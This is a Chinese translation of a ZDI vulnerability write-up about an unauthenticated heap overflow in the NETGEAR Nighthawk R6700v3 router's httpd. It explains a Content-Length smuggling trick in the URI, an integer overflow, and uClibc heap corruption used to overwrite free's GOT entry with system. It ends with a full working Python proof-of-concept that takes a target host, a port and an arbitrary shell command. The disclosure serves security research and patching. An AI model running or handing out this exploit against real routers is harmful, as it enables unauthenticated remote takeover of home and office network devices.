添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

0x00 前言

Pwn2Own Tokyo 2019引入了一个新的类别:无线路由器。在这次比赛中,有款目标路由器为NETGEAR Nighthawk R6700v3。我并没有参加这次比赛,但还是想分析一下该设备,看能不能找出一些漏洞。除了这次比赛中找到的漏洞,我还发现路由器中存在另一个堆溢出漏洞,恶意第三方可以利用该漏洞,从本地网络控制该设备。我将在本文中详细分析该漏洞,并且会提供一个PoC,适用于固件版本为V1.0.4.84_10.0.58的所有路由器。

该漏洞位于 httpd 服务中( /usr/bin/httpd ),未经身份认证的攻击者如果连入本地网络,就可以向 httpd web服务发送精心构造的HTTP请求,最终在目标系统上执行远程代码。成功利用该漏洞后,攻击者可能会全面入侵存在漏洞的系统。漏洞根源在于路由器的文件上传函数,该函数在处理导入的配置文件时存在一个堆溢出漏洞。

0x01 背景

我想先简要介绍一下路由器对HTTP请求的处理流程。这款路由器的web服务并没有直接在80端口上监听,但有个代理进程会在该端口上监听: NGINX 代理。我还没有深入分析该进程,因此不确定这是否是常用的 NGINX web服务器版本。

当HTTP请求到达 httpd 服务时,主要处理该请求的函数为 sub_159E8() 。该函数执行流程如下图所示:

图1. sub_159E8() 函数执行流程

函数首先会从socket中读取HTTP请求,然后检查该HTTP请求是否为文件上传请求。如果不满足该条件,则会调用 sub_10DC4 函数,该函数负责解析HTTP请求,执行身份认证、请求调度等逻辑。如果为文件上传请求,则会执行上图中的 X 部分代码。从上图可知, sub_10DC4 为处理请求的主函数, X 部分代码与该函数独立,因此比较吸引人,这次我们发现的漏洞的确位于该区域。

0x02 漏洞分析

如上图所示,该漏洞可以通过HTTP上传操作来触发,上传请求由 /backup.cgi 负责处理。在测试该功能的过程中,我发现了影响该端点的两个不同的问题。第一个问题为缺少身份认证:攻击者无需通过身份认证就能上传新的配置文件。不过由于应用新的配置之前路由器会进行身份认证,因此我们无法替换目标凭据、或者修改目标系统的设置。第二个问题为典型的堆溢出漏洞,位于文件上传功能中。

存在漏洞的函数会将上传的文件内容拷贝到一个堆缓冲区中,而该缓冲区大小由攻击者所控制,相应的伪代码片段如下图所示:

图2. 存在漏洞的函数伪代码片段

为了控制堆缓冲区大小,攻击者可以使用 Content-Length 头部字段,但这个过程并没有那么简单。我们来分析下具体原因。

导入配置文件的HTTP请求如下所示:

图3. 导入配置文件的HTTP请求

HTTP请求必须满足几个条件。首先,URI必须包含以下某个字符串: backup.cgi genierestore.cgi 或者 upgrade_check.cgi 。此外,请求必须为 multipart/form-data 请求,头部中必须包含 name="mtenRestoreCfg 字段。最后,文件名不能为空字符串。然而,根据前面介绍的web处理架构,HTTP请求在传递给 httpd 服务前必须先交给NGINX代理处理。NGINX代理的 policy_default.conf 配置文件如下:

图4. NGINX配置文件

因此,为了绕过NGINX代理,我选择如下URI:

图5. 绕过代理的URI

文件上传的处理逻辑位于 sub_159E8 函数中,其中程序会从头部中提取 Content-Length 值:

图6. 提取 Content-Length

上述代码片段首先会使用 strstr 函数来定位整个HTTP请求中的 Content-Length 字段,然后提取该字段值,在一个循环中通过简单的逻辑实现 atoi 函数,将其从字符串转换为整数:

图7. 将字符串转换为整数的循环

然而,由于NGINX代理的存在,我们无法直接将任意值传递给 Content-Length 头。除了过滤请求外,该代理还会rewrite请求。代理会确认 Content-Length 值等于POST数据的大小,然后将 Content-Length 头放在请求的第一个头部中。因此,我们无法在另一个头部中伪造 Content-Length 。然而提取 Content-Length 头的代码逻辑存在缺陷,相关代码会在整个HTTP请求中执行strstr函数,而不是只处理请求头。因此我们有可能在URI中设置 Content-Length 头,由 httpd 服务来解析,如下所示:

图8. 伪造 Content-Length 的URI

由于请求地址位于HTTP头之前,带有上述URI,因此传递给图7中代码的字符串为 111 HTTP/1.1 。通过这种方法,我们能够完全控制 Content-Length 的值,触发整数溢出漏洞。

此外,图7中对 atoi 的实现比较有趣的一点是,代码在碰到非数字字符时并没有停止,而是会继续执行,直到碰到回车换行符( \r\n )才停止,期间会将找到的所有字符都解析为十进制数字。为了获取每个字符对应的数字值,代码会将字符编码减去数字0对应的ASCII字符码。这种方法适用于数字0到数字9之间的值,但当解析非数字字符时将得到错误结果。比如,当解析空格符时(ASCII 0x20 ),代码计算出的值为 0x20 - 0x30 (即 0xfffffff0 )。由于计算错误,上述示例中 111 HTTP/1.1 字符串所得的最终值为 0x896ebfe9 。为了控制该值,我使用了暴力程序来替换各种 Content-Length 值,模拟 atoi 循环,直到寻找到合适的值为止。最终我找到的字符串为 4156559 HTTP/1.1 ,对应的值为 ffffffe9 ,这是大小合适的负数值。

继续研究代码路径:

图9. 整数溢出漏洞

首先,程序会通过无符号方式将 Content-Length 值与 0x20017 进行比较。如果该值大于 0x20017 ,就会执行 0x17370 地址处的汇编代码。然后,由于该请求为导入配置请求,因此存放在 dword_19A08 dword_19A08 中的值将等于 0 。接下来,程序会检查存放在 dword_1A870C 中的指针值。如果该值不等于0,将会释放该指针所指向的内存。随后程序会调用 malloc ,传入 Content-Length 的值+ 0x258 来分配内存,用来存放文件内容,结果存放在 dword_1A870C 中。由于我们可以完全控制 Content-Length 的值,因此可以将 Content-Length 值设置为负数,触发整数溢出漏洞。

程序接下来会将整个文件内容拷贝到前面分配的缓冲区中,导致堆溢出漏洞。

图10. 堆缓冲区溢出漏洞

0x03 需要考虑的因素

在构造利用代码时,我们需要考虑如下几个因素:

1、我们拿到了一个堆溢出漏洞,允许我们将任意数据写入堆内存中(包括 null 字节)。

2、由于ASLR机制不完备,堆内存位于固定地址。

3、系统用到了 uClibc 。这是 glibc 的最小 libc 版本,因此包含简单实现的 malloc free 函数。

4、在调用 memcpy() 并实现堆溢出后,设备会调用 sub_21A58() 来返回错误页面。在 sub_21A58() 中,代码会调用 fopen() 来打开文件。 fopen() 中会两次调用 malloc() ,大小分别为 0x60 以及 0x1000 。分配的内存随后都会被释放。简而言之,分配及释放内存的顺序如下:

图11. 内存分配操作顺序

此外,我们可以发送Import String Table请求,在 sub_95AF4() 中调用 malloc 以及 free 。该函数用来计算String Table Upload文件的校验和,对应的伪代码如下:

图12. sub_95AF4() 中的伪代码

导入字符串表的HTTP请求如下所示:

图13. 导入字符串表的HTTP请求

0x04 漏洞利用技术

我们可以通过堆缓冲区溢出来发起fastbin dup攻击。“Fastbin dup”攻击可以破坏堆状态,使对 malloc 的后续调用会返回我们选定的地址。当 malloc 返回指定地址后,我们可以将任意数据写入该地址(从而实现write-what-where原语)。我们可以覆盖某个GOT条目,实现远程代码执行。更具体一点,我们可以覆盖 free() 对应的GOT条目,将其重定向到 system() ,这样shell就会执行包含攻击者输入数据的缓冲区。

然而在这个场景中,我们很难发起fastbin dup攻击。前面提到过,每个请求都会调用 malloc(0x1000) ,这将导致设备调用 __malloc_consolidate() 函数,破坏fastbin。

前面提到过,系统使用了 uClibc 库,因此 free() malloc() 函数的实现与 glibc 存在较大不同。我们来看一下 free() 函数:

图14. uClibc free() 的实现

在上图22行中,可以看到访问 fastbins 数组时缺少边界检查,这将导致 fastbins 出现越界写入。

检查 malloc_state 结构以及 fastbin_index 宏,这两者定义都位于 malloc.h 中:

图15. malloc_state 结构及 fastbin_index 宏的定义

max_fast 变量紧靠在 fastbins 数组之前。因此,如果我们将chunk的大小设置为8,那么当这个chunk被释放时, fastbin_index(8) 将返回 -1 值, max_fast 将被较大地址(一个指针)所覆盖。当heap正常运行时,chunk的值大小永远不会等于8,这是因为chunk中的metadata将占据8个字节,因此如果chunk大小为8,则代表用户数据大小为0字节。

max_fast 被改成较大的值后,在 malloc(0x1000) 调用期间 __malloc_consolidate() 不会再被调用,这样我们就能进行fastbin dup攻击。

总结一下,我们的利用过程如下:

1、发起请求,触发堆溢出漏洞,覆盖chunk的 PREV_INUSE 标志,使其错误地表示前一个chunk已被释放。

2、由于设置了错误的 PREV_INUSE 标志,我们可以让 malloc() 返回与已有chunk有重叠的chunk。这样我们可以编辑已有chunk中metadata的大小字段,将其设置为8这个无效值。

3、当这个chunk被释放并放在fastbin上时, malloc_stats->max_fast 会被较大的一个值覆盖。

4、当 malloc_stats->max_fast 被修改后,在调用 malloc(0x1000) 时,系统不再调用 __malloc_consolidate() 。这样我们就能发起fastbin攻击。

5、再次触发堆溢出漏洞,使用选定的目标地址来覆盖空闲fastbin chunk的覆盖 fd (fowrard)指针。

6、后续调用 malloc() 时将返回我们设置的目标地址。我们可以通过这种方式将选定的数据写入目标地址。

7、使用这种“write-what-where”原语来写入 free_got_addr 地址,这里我们写入的数据为 system_plt_addr

8、最后,当释放包含攻击者提供的字符串的缓冲区时,设备将调用 system() ,而不是 free() ,从而实现远程代码执行。

堆内存布局及详细的利用过程可参考如下PoC文件:

#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys
def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()
def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)
def exploit():
    path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    print '[+] malloc 0x28 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29
    # 02:0008│ r0 0x103f008 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    post_request(path, headers, f)
    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29 /* ')' */
    # 02:0008│ 0x103f008
    # 03:000c│ 0x103f00c
    # ... ↓
    # 0a:0028│ 0x103f028
    # 0b:002c│ 0x103f02c ◂— 0x19
    # 0c:0030│ r0 0x103f030 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)
    print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */
    # 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
    post_request(path, headers, f)
    print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x4f1
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x9
    # 12e:04b8│ 0x103f008
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
    post_request('/strtblupgrade.cgi.css', headers, f)
    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x10417a8 ◂— 0xdfc3a88e
    # 01:0004│ 0x10417ac ◂— 0x19
    # 02:0008│ r0 0x10417b0 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)
    print '[+] malloc 0x38 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)
    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770
    # ... ↓
    # 0e:0038│ 0x103e7a0
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 10:0040│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)
    print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ 0x103e770 ◂— 0x0
    # 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
    # ... ↓
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk
    # 10:0040│ 0x103e7a8 —▸ 0xf555c ([email protected])
    free_got_addr = 0xF559C
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x30)
    f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
    post_request(path, headers, f)
    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e7a0 ◂— 'aaaaI'
    # 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 02:0008│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x40)
    post_request(path, headers, f)
    print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
    # 00:0000│ 0xf555c ([email protected]) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr}
    # 01:0004│ 0xf5560 ([email protected]) —▸ 0xd998 ◂— str lr, [sp, #-4]!
    # 02:0008│ r0 0xf5564 ([email protected]) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here
    system_addr = 0xDBF8
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
    post_request('/strtblupgrade.cgi.css', headers, f)
    print '[+] Done'
if __name__ == '__main__':
    context.log_level = 'error'
    if (len(sys.argv) < 4):
        print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]
    command = sys.argv[3]
    exploit()

0x05 总结

在本文发表时,厂商表示:“NETGEAR计划发布固件更新,如果受影响的产品仍在安全支持生命周期中,漏洞将会被修复”。厂商的确发布了beta版补丁,可以访问此处下载。我们还未测试该补丁是否能正确解决该漏洞的根源问题。ZDI在6月15日发布了安全公告,表示“考虑到该漏洞的特性,唯一可靠的缓解策略是限定目标服务的访问权限,只有合法的客户端和服务器才能与该设备通信。我们可以通过多种方式来实现该目标,比如防火墙规则、白名单等”。在官方推出补丁之前,这是降低风险的最佳建议。

本文翻译自thezdi.com 原文链接。如若转载请注明出处。

本文由興趣使然的小胃原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/209217

安全客 - 有思想的安全新媒体

本文转载自: thezdi.com

如若转载,请注明出处: https://www.thezdi.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router

安全客 - 有思想的安全新媒体

商务合作,文章发布请联系 [email protected]

评论列表